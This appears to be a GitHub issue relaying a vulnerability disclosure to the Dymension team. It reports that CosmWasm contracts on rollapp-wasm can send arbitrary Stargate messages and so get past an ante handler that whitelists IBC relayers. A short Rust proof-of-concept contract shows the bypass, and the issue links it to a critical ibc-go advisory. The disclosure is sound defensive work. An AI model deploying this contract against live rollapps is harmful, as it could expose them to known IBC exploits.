wasm contracts can skip ibc ante handler

[srene]

copying related conversation

Hey Dymension team, while I was looking at open source projects, I noticed that the rollapp-wasm which uses the dymension-rdk, contains an ante handler responsible for essentially preventing IBC messages from received if not sent by a whitelisted relayer.
I was looking into this because rollapps use ibc-go v6.3.0 and there was a critical security advisory that likely affected certain deployed rollapps (GHSA-jg6f-48ff-5xrw) and I also saw that you previously asked for a scope request and I think the issues we will outline coincide with the same areas.
The AnteHandler preventing IBC messages would prevent the exploitation of the known critical issue, though with a little bit of dive, I found a way to bypass the IBC message filtering.
Cosmwasm comes with a functionality known as stargate which allows cosmwasm contracts to dispatch protobuf encoded Cosmos-SDK messages. A contract can skip the ante handlers with the following logic:

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn execute(
    _deps: DepsMut,
    _env: Env,
    _info: MessageInfo,
    msg: ExecuteMsg,
) -> Result<Response, StdError> {
    match msg {
        ExecuteMsg::Any { type_url, value } => {
            let msg: CosmosMsg = CosmosMsg::Stargate {
                type_url,
                value: Binary::from_base64(&value)?,
            };
            Ok(Response::new().add_message(msg))
        }
    }
}

[srene]

cosm wasm could use stargate to skip ibc whitelisting antehandler functionality or to add modifications to ibc msgs